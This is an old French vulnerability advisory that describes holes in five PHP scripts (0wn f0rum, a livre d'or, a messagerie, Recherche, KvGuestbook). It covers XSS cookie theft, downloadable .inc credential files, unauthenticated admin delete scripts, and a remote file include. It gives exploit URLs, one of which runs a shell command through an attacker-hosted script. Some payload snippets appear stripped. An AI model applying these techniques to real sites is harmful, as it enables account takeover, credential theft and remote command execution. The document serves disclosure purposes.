5 holes, Part 3 *************** Intro : ******* Joyeux noël à ceux qui lisent ce texte dans ces environs. Date : ****** 26/04/02 Services : ********** - 0wn f0rum - Livre d'or - Messagerie - Recherche - KvGuestbook Developpements : **************** 1) 0wn f0rum ------------ http://www.0wn-f0rum.ch.vu/ Version : 2.1 Problèmes : - XSS - Récuperation des comptes users/admins Developpement : Quand on se logge, 2 cookies sont envoyés : ZoneAdmin et ZoneAdminLogin. Le premier contenant pseudo:passcrypté:1, le deuxieme contenant le pseudo. Les 2 sont obligatoires. Il faut donc récuperer ces cookies. C'est très facile car on peut mettre dans le forum, comme titre ou comme message, du javascript, vbscript, html ou autre; il sera executé. Donc en mettant comme titre , on recuperera les cookies de ceux qui visitent la rubrique, et donc leur compte. 2) Livre d'or ------------- http://comuweb.online.fr Versions : 1.1 1.2 (?) Problèmes : - Récuperation de password/login admins - Récuperation de password/login/host DB Developpement : 2 fichiers ont l'extension .INC, ils sont donc téléchargeables. Ces fichiers se trouvent dans le repertoire principal de livre d'or. Le premier, config.inc, contient : - Nom de la base de données ($ma_base) - Login admin ($webmestre) - Password admin ($mot_de_passe) Le deuxième, connexion.inc, contient : - Nom de la BD ($database) - Host de la DB ($host) - Login DB ($user) - Pass DB ($password) 3) Messagerie ------------- http://www.labasse.fr.st Version : 1.0 ? Problème : - Suppression de membres (commande admin) - Autres ? Developpement : On peut voir au début de chaque script admin ces quelques lignes, assurant la sécurité : ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- Mais dans la page supp_membre.php, on peut lire un commentaire de l'auteur : //plus besoin de vérifier la session, tout a été fais dans accueil_admin Voilà qui est très interessant =) Ce script permet de supprimer n'importe quel pseudo. Il vérifie que le pseudo à supprimer n'est pas celui qui supprime, il se connecte à la base de données puis envois : $sql = "DELETE FROM comptes WHERE pseudo='$choix_membre_supp'"; L'url http://www.host.com/supp_membre.php?choix_membre_supp=polom supprimera l'utilisateur 'polom' si il existe. Un autre trou que je n'ai pas fort exploité se trouve dans centre.php : ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- On a donc le choix entre inclure du php3, du php ou des .htm ... ce qui est déja pas mal. Et si c'est un fichier php que l'on veut inclure, il ne faut pas mensionner l'extension. Par exemple pour inclure http://www.url.com/script.php, il faudra entrer l'url : http://www.victime.com/centre.php?page=http://www.url.com/script . Cela ouvre deja certaines portes, comme le XSS, ou visiter des pages anonymement. Peut-être peut-on inclure un fichier qui executerait system("$command"); ... Il aurait pu y avoir un problème pour entrer des variables dans lurl, vu que le script verifie si l'url finit bien par .php3, .htm ou rajoute un .php, mais il suffit que la dernière variable entrée soit égale à par exemple .php3 . Exemple : http://www.site.com/centre.php?page=http://www.url.com/script.php?command=ls%20../..&var=.php3 ou var=.htm . 4) Recherche ------------ http://www.php-free.net/index0.php3?ext=1&page=recherche&title=Recherche%201.1 Versions : 1.3 Problèmes : - XSS - Accès à une commande admin - Possibilité de récuperation des login et pass admin Developpement : Le trou de de cross site scripting se trouve dans add.php3, fichier qui permet d'ajouter des recherches : echo "

description : $description"; Cette ligne est à titre d'exemple... pour prouver qu'il n'y a pas de filtre. affichera donc une alerte contenant 'hello' à tout ceux qui visiteraient la page contenant cette recherche. Voyons maintnenant le fichier admin, qui est admin.php3 et est sécurisé par cette ligne : if ($utilisateur == $user && $password == $pass) { Donc il est dur si pas impossible de passer cette sécurité sans password. Mais il y a un autre fichier, utilisé par l'admin, qui permet de supprimer des recherches. Il se comme sql.php3 et voici son code : ---------------------------------------------------------------------------------------------- Vous n\x27avez pas donné de valeur a supprimer"; echo "

Retour"; } ?> ---------------------------------------------------------------------------------------------- Aucune sécurité, donc pour supprimer la recherche 1, il faudra entrer l'url http://www.url.com/sql.php3?numero=1 . On peut aussi utiliser le XSS avec le fichier sql.php3. Imaginons que l'admin voit le XSS entré dans la recherche, il ira le supprimer, et utilisera sql.php3 On peut voir la ligne : header("Location: admin.php3?utilisateur=$utilisateur&password=$password"); IL nous suffit donc d'entrer une ou 2 recherches identiques, contenant un javascript du style pour recuperer le pass et login admin. 5) KvGuestbook -------------- http://www.killervault.com Versions : 1 beta Problèmes : - XSS - Récuperation du pass admin Developpement : Que ce soit dans le nom, dans l'email, dans l'url ou dans le commentaire, un script du style sera executé à la lecture par chaque visiteur. On peut aussi voir dans guestbook.php : function dologin() { global $mysql, $gbpass, $gburl; $time = time() + 86400*365; if($gbpass == $mysql['pass']) { setcookie('kvgbcookie', $mysql['pass'], $time, '/'); } header("Location: $gburl"); } On peut donc recuperer le password en recuperant le cookie grâce au XSS. Greetz : ******** A-Kredit Credits : ********* frog-m@n leseulfrog@hotmail.com